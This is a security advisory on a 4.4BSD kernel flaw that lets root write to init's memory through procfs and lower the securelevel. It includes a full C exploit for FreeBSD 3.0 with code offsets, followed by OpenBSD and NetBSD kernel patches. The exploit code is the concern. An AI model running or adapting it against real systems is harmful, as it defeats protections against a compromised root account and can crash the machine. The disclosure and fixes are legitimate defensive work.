COMMAND securelevels (kernel) SYSTEMS AFFECTED It is believed that all 4.4BSD operating systems are currently vulnerable to this problem. Known: OpenBSD 2.0. 2.1 (except current), FreeBSD (except current), NetBSD (all versions). PROBLEM This info is based on Thomas H. Ptacek's post. Certain security measures in the 4.4BSD kernel rely on a variable called the "securelevel", which is intended to allow the system to run with heightened security after initializations that may require extra flexibility. Mechanisms that rely on the securelevel are inactive until the securelevel is raised to a nonzero value. The securelevels system relies on the fact that no user on the system, including the superuser, can lower the variable after it has been raised. This allows securelevels to be used to implement protections in the kernel against a compromised superuser account. A commonly-used example is the filesystem "immutable" flag, which prevents flagged files from being modified by anyone on the system, including the superuser. The process of transitioning the system into single-user mode from multi-user mode involves several functions that require enhanced access to system internals. Because of this, the "init" process has the exclusive ability to decrease the system securelevel to facilitate this process. In recognition of this, in-kernel process-level debugging utilities, such as the ptrace() system call, do not function on the "init" process. The 4.4BSD process filesystem presents a filesystem perspective to the process table. Process information tools such as "ps" can read the process filesystem information as directories and files, instead of digging through kernel memory directly. Additionally, process debugging tools can use procfs to modify running processes. Like ptrace(), the procfs code has recently been modified to prevent the subversion of the running init process. Unfortunately, a vulnerability in the procfs code remains which allows a user with superuser credentials to modify the running init process and force it to reduce the system securelevel. Although the "attach" command, which is the procfs equivalent to the "attach" interface provided by ptrace(), is disallowed on the init process, write access to the virtual memory of the init process remains enabled. Modification to the running init process image can be used to subvert the process. The 4.4BSD process filesystem describes each process with a series of files, including "status", which provides the process status, "regs", which details the register set of the process, "mem", which provides access to the memory image of the process, and "ctl", which provides an interface to process control. The procfs vulnerability described in this advisory exploits the "mem" process description file. By opening the "mem" file of the running init process up in a write mode, the virtual memory image of the init process can be modified. This access can be used to alter the executable code of the running process in it's text segment. This can easily be exploited to reduce the securelevel of the system by altering code in init that already involves modification of the securelevel. One place where this occurs is within the "multi_user()" routine, which sets the securelevel to "1" upon entry (expressing the default behavior of running with securelevels enabled after initializing the system). The relevant code is: if(getsecuritylevel() == 0) setsecuritylevel(1); By excercising write access to the text of the init process, that code can be altered to set the securelevel to 0 by modifying two bytes of executable code - one two cause the "if" conditional to evaluate true after the system has entered multi-user mode, and one to alter the value passed to "setsecuritylevel" from "1" to "0", affecting a reduction in the system securelevel. The newly modified code now reads: if(getsecuritylevel() != 0) setsecuritylevel(0); The init program is a finite state machine driven by function pointers. The program can be forced to call multi_user() by setting a function pointer (using the "mem" file again) to the address of this routine. The next time "init" changes state, it will call multi_user() and reduce the securelevel. The following code will compile and run on any 4.4BSD system. However, it relies on offsets into the memory image of the init process that may change from OS to OS, and from compilation to compilation. Attempting to run this program on an operating system other than the one for which it was intended will corrupt the text of the init process, and probably cause your system to crash. Use caution when attempting to use this program to assess your vulnerability. After successfully running the program, the next init state transition will result in the system securelevel being reduced to "0". ----- cut here ----- /* FreeBSD 3.0 /sbin/init / procfs securelevel exploit */ #include #include #include /* these offsets are for FreeBSD 3.0 /sbin/init. Incorrect offsets * will cause your system to crash. */ /* offset to the beginning of the multi_user() routine */ * OpenBSD: 0x2eb4 */ #define MULTI_USER_ROUTINE 0x27f8 /* offset of the JNE instruction in multi_user() */ * OpenBSD: 0x2eb4 + 21 */ #define EVALUATE_TRUE (0x27f8 + 21) /* offset of the argument to the PUSH instruction */ * OpenBSD: 0x2eb4 + 24 */ #define SET_TO_ZERO (0x27f8 + 24) /* offset of the "requested_transition" variable */ * OpenBSD: 0x290b8 */ #define TRANSITION_TO_MULTI_USER 0x2f0a0 #define INIT_MEMORY_FILE "/proc/1/mem" /* invariant */ #define JNE 0x74 extern int errno; int main(int argc, char **argv) { int init_mem; char c; int i; /* access init's virtual memory image */ init_mem = open(INIT_MEMORY_FILE, O_RDWR); if(init_mem < 0) { perror("open"); exit(errno); } c = JNE; /* change == to != (JE to JNE) */ lseek(init_mem, EVALUATE_TRUE, SEEK_SET); write(init_mem, &c, 1); c = 0x0; /* change 1 to 0 */ lseek(init_mem, SET_TO_ZERO, SEEK_SET); write(init_mem, &c, 1); /* change next state transition to multi_user */ i = MULTI_USER_ROUTINE; lseek(init_mem, TRANSITION_TO_MULTI_USER, SEEK_SET); write(init_mem, &i, 4); close(init_mem); /* force an init state transition */ if(!fork()) exit(0) usleep(10000); exit(0); } ----- cut here ----- SOLUTION Two immediate fixes are available to this problem. The first resolves the specific problem presented by the procfs interface, and the second prevents "init" from being able to lower the securelevel at all, resolving the more general problem presented by making "init" a target for compromising the kernel. A workaround to the problem is simply to disable the procfs filesystem in your kernel binary, by not specifying it in the kernel config file, reconfiguring the kernel, rebuilding it, and rebooting off the new kernel. This will reduce the functionality of process debugging tools. The procfs fix involves a modification to sys/miscfs/procfs_subr.c which implements the procfs_write() vnode interface. By causing the procfs_rw() routine to fail when the affected process ID is "1", "init" is now safeguarded against modification from the process filesystem. An OpenBSD fix to the problem is provided at the end. NetBSD too. The "init" securelevel fix involves a modification to sys/kern/kern_mib.c, where the "sysctl" interface to the "securelevel" variable is implemented. By causing this interface to fail at all times when the request attempts to reduce the securelevel, "init" is prevented from compromising the system. To prevent the process filesystem from enabling the superuser to modify the running init image, apply the following patch to your OpenBSD kernel. ----- cut here ----- *** sys/miscfs/procfs/procfs_subr.c Tue Jun 24 15:56:02 1997 --- sys-old/miscfs/procfs/procfs_subr.c Tue Jun 24 15:55:06 1997 *************** *** 1,3 **** ! /* $OpenBSD: procfs_subr.c,v 1.5 1997/04/06 07:00:14 millert Exp $ */ /* $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $ */ --- 1,3 ---- ! /* $OpenBSD: procfs_subr.c,v 1.6 1997/06/21 12:19:45 deraadt Exp $ */ /* $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $ */ *************** *** 222,225 **** --- 222,228 ---- if (p == 0) return (EINVAL); + /* Do not permit games to be played with init(8) */ + if (p->p_pid == 1 && securelevel > 0 && uio->uio_rw == UIO_WRITE) + return (EPERM); switch (pfs->pfs_type) { ----- cut here ----- To prevent "init" from being able to decrease the system securelevel, apply the following patch to your OpenBSD kernel. ----- cut here ----- *** kern_sysctl.c.orig Tue Jun 24 17:28:52 1997 --- kern_sysctl.c Tue Jun 24 17:29:37 1997 *************** *** 238,242 **** return (error); if ((securelevel > 0 || level < -1) ! && level < securelevel && p->p_pid != 1) return (EPERM); securelevel = level; --- 238,242 ---- return (error); if ((securelevel > 0 || level < -1) ! && level < securelevel) return (EPERM); securelevel = level; ----- cut here ----- Here's a patch for NetBSD which fixes this: Index: procfs_subr.c =================================================================== RCS file: /cvsroot/src/sys/miscfs/procfs/procfs_subr.c,v retrieving revision 1.18 diff -c -2 -r1.18 procfs_subr.c *** procfs_subr.c 1997/05/05 07:35:13 1.18 --- procfs_subr.c 1997/06/25 11:17:52 *************** *** 222,225 **** --- 222,242 ---- switch (pfs->pfs_type) { + case Pregs: + case Pfpregs: + case Pmem: + /* + * Do not allow init to be modified while in secure mode; it + * could be duped into changing the security level. + */ + if (uio->uio_rw == UIO_WRITE && + p == initproc && securelevel > -1) + return (EPERM); + break; + + default: + break; + } + + switch (pfs->pfs_type) { case Pnote: case Pnotepg: